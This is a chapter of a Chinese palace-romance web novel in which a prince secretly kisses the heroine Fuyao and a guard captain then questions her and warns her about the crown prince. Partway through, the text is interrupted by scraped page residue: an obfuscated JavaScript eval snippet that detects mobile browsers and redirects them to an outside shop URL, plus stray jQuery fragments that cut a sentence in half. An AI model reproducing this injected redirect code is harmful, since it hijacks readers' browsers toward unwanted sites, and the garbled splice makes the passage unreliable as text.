115. 我会再来
    “我千辛万苦从生死之间重新爬回来,不是要看你和你的好太子殿下卿卿我我的。”说着,苍梧淮捧着她的下巴吻了过来。

    舌尖轻而易举撬开齿关登堂入室,对方仿佛与生俱来的清澈冷冽气息随之而来填满她的口腔。

    “唔——”忽如其来的变故让浮瑶惊怔地僵在原地,过了足有片刻才像触电一般回过神来,在他怀抱里胡乱挣扎起来。

    苍梧淮搭在她腰上的手不动声色地收紧,五指张开紧紧箍着她的后腰,掌心温热的触感隔着衣料落在她的皮肤上,引来陌生而异样的颤栗。

    身上仅剩的气力像被抽空了一样,浮瑶不由自主泄了力软在对方炽热又熟悉的怀抱里,喉咙里发出细碎的呜咽声。

    苍梧淮仿佛受到了鼓舞,在她口中越发放肆地攻城掠地,仿佛久别重逢的恋人般对她的每一寸肌肤、每一缕气息都产生了从未有过的执拗渴望,又像野兽凶狠蛮横地撕咬猎物,霸道地舔舐吮吸她仓惶躲闪的舌尖,征服和掠夺的欲望在每一缕混乱的气息中清晰可见。

    浮瑶气息凌乱,徒劳无功的挣扎越来越微弱,很快就彻底没了力气,认命般伏倒在他怀里,任他毫无节制地索取掠夺她的气息。

    苍梧淮怀抱里清澈冷冽的气息仿佛带着蛊惑的力量,意识像被无形的大手狠狠攫住,视线开始变得模糊,浮瑶浑身炙热如烧,一时间竟不知自己姓甚名谁,身在何处。

    苍梧淮一手箍着她的腰,另一手捧起她的下巴,恶作剧般迎着她的舌满怀兴致地来回逗弄,正心满意足时,窗外隐隐响起窸窸窣窣的脚步声。

    不好,有人来了!

    黑暗放大了视觉以外的所有感官,浮瑶悚然一惊,猛地回过神来,下意识伸手抵在苍梧淮胸前,试图从他的唇舌纠缠中脱身。可手腕很快被拉开,苍梧淮一手环着她的腰,另一手扣着她的手腕,意犹未尽地放过她的唇瓣。

    脚步声越来越近,几乎要到门边时,苍梧淮理了理她微微散乱的鬓发,目光在她绯红一片的脸颊上就连不去。最后,他附身在她额上落下一个吻,凑近她耳边,慢条斯理道:

    “我会再来。”

    说着,腰间的力道忽然一松,眼前黑影掠过,浮瑶勉强站定,再回神时,对方已飞身从窗口掠出,悄无声息消失在漆黑的夜色之中。

    “叩、叩——”

    苍梧淮的身影刚一消失,凝香院的房门就被人叩响。

    浮瑶心惊如擂鼓,四肢百骸绵软无力,仿佛仍沉浸在方才的一时缠绵之中,勉强定了定神才转身打开房门。

    夜色疏冷,苍梧清的贴身禁卫首领凡桐逆着月光站在门口,手里搀扶着双目紧闭、毫无知觉的祥乐。

    “这是怎么了?”浮瑶竭力掩去声音里不自然的喘息声,下意识走上前去想要查看祥乐的状况,没想到却被凡桐伸手拦下。

    “是我该问姑娘怎么了才是。”凡桐锐利深邃的眼睛直勾勾盯着她,带着仿佛与生俱来的威严和压迫感,“砚姑娘分明是与侍女一同回的凝香院,眼下姑娘的侍女被人打昏扔在殿外,姑娘竟懵然不知吗?”

    她怎会不知?方才苍梧淮悄无声息地来,又行色匆匆地走,祥乐定是被他打昏的。可知道了又如何,难道要向凡桐和太子坦诚三皇子夜闯东宫吗?

    浮瑶脸色一白,不由自主地想为三皇子遮掩,略一怔愣后,微微垂了眼帘,长长的睫毛盖了下来,在空气中轻轻颤动两下。

    “我不知道,”她摇了摇头,目光躲闪,咬着唇小声道:“我不知道,我一进屋就找不见她了。”

    “一个大活人在你眼前消失,你竟不知道?”凡桐瞳孔略缩,脸色更加狐疑,“而且进了屋为何不唤人点灯?”

    “我……”浮瑶愣了一下,期期艾艾道:“我忘记了。”

    “忘记了?”凡桐的眉毛越拧越紧,不依不饶、步步紧逼:“究竟是忘记了,还是这屋子里有什么人让你不敢点灯?”

    凡桐素来跟在苍梧清身边,一年到头与她说不上一句话,浮瑶过去只觉得他板着一张脸不苟言笑的模样甚是冷淡,今日正面交锋才知道原来他竟是这般难缠。

    得想个办法糊弄过去。

    浮瑶低眉垂目,无声思忖了数息,再抬眼时,眼梢不知何时竟已红了一圈,她一言不发,只眨了眨眼睛,眸中蔓延起盈盈泪雾。

    “你——”凡桐千年寒冰般的俊颜顿时出现一道裂痕,声音里隐隐可以听见几分慌乱的不解:“你这是怎么了?”

    “我不知道。”浮瑶吸了吸鼻尖,佯装苦苦思索状,一手扶着额角,眉心微蹙,面露痛苦之色,一脸无辜怯懦:“头好疼……一路走回来,很多事情都模模糊糊的……”

    苍梧清曾说过,当年她因亲眼目睹兄长的“尸体”受到刺激,留下了头昏头疼的症状,平常虽无异样,但若费神思考或是回忆旧事时,难免旧疾发作,头疼欲裂。

    太子殿下疼惜她,定是交代了下人好生伺候,平日里祥乐她们服侍得极为小心,就连惯会偷奸耍滑的祥意也不敢惹她发作,生怕太子降罪,想来凡桐见她发病,也不会再揪着不放。

    果然,凡桐脸色稍有缓和,不再逼问为难,下意识上前一步想要伸手扶她,却碍于手里还拎着一个祥乐。

    “姑娘身体不适,且别胡思乱想了,快些进屋歇着吧,我去请太医来。

    “不必。”浮瑶扶着额角摇了摇头,视线落在凡桐手里的祥乐身上:“痼疾罢了,躺一会儿就好,只是祥乐她……”

    凡桐身为太子心腹,自是对浮瑶动辄头疼的毛病及其缘由心知肚明,只听他“哦”了一声,伸手在祥乐后颈上的两处穴位上迅速一按,少女一声嘤咛,悠悠醒转过来。

    “只是被人点了昏睡穴,解开便无碍了。”凡桐把人放开,径直越过浮瑶大步走进屋子里点了灯。

    昏黄的烛光亮起,浮瑶的脸颊上的绯色的红

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583347|128036||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    云和唇瓣上的齿痕一时清晰可见。

    “……”凡桐垂了眼,敛去眼底一闪而过的异色,拱手告辞:“近日朝中局势动荡,恐有包藏祸心之人浅入东宫,太子殿下命我前来护卫凝香院周全。方才见姑娘房中一片漆黑,贸然闯入,请姑娘勿怪。”

    “怎会。”浮瑶心里松了口气,点点头:“有劳桐大人了。”

    “唔……好疼啊……”祥乐揉着后颈龇牙咧嘴道:“姑娘,奴婢似乎没什么人给打了。”

    浮瑶“啊”了一声,目露惊恐道:“怎会如此?莫不是真有恶徒潜入东宫?”

    凡桐目光微闪,不愿多说,只抱拳道:“我会加派人手护卫凝香院,姑娘无需惊慌。姑娘今日受了惊吓,还请早些休息,不打扰姑娘了,告辞。”

    凡桐说罢,转身便走,临到门边像是想起什么,冷不防停下脚步,回过头一本正经地看着浮瑶,道:“姑娘,有一句话,我觉得还是有必要再提醒提醒你。”

    浮瑶欠了欠身:“请说。”

    “我从小伴随太子殿下左右,殿下他心念坚定,或许有时显得太过执着了。”

    “……”浮瑶眨了眨眼,歪着头看他,神情不解。

    她生得明艳昳丽,凡桐不敢与她对视,在脑中酝酿许久的话到了嘴边莫名有些词不达意:

    “我想提醒姑娘,太子殿下他或许并不像姑娘想象中的那样。无论如何,还请姑娘考虑清楚,是否真的做好了要留在殿下身边的准备。”

    太子殿下或许并不像姑娘想象中的那样。

    储君之位虽是位高权重,却也危机重重,若没有坚毅狠戾的决心和酷烈强硬的手段,焉能弹压臣下、坐稳这个位置?

    苍梧清此人,绝非你想象中的那样,光风霁月、光明磊落,你要小心。

    ……

    短短一日,她已从两个人那里听到了相似的话。他们一人是她的至亲兄长,一人是自小伴苍梧清长大的贴身护卫,竟不约而同对她说出相似的话,是想提醒她什么吗?

    “这世上的人说一千道一万,都不如我亲眼所见。”浮瑶笑了笑,不以为然道:“太子殿下为人如何、对我如何,我心中自是清楚明白。凡桐大人请放心,我既决定要嫁给殿下,自然是深思熟虑过了,能伴随殿下身侧,是我的福分,我不会辜负殿下的深情厚爱。”

    “我不是这个意思。”凡桐听她如此说,一时心急口快,脱口而出:“我是担心你——”

    “?”浮瑶迎着他的目光,一寸一寸拧紧眉心。

    “我的意思是,”凡桐自知失言,轻咳一声,定了定神正色道:“姑娘若是想好了,便该安下心来,一心以太子殿下为先,莫再理会旁人。太子殿下手腕强硬,若是被他察觉姑娘有了旁的什么心思,恐怕会再次用上那些离经叛道的手段,强留姑娘在身边。”

    “再次?”

    凡桐:“总而言之,对你来说,并非幸事。”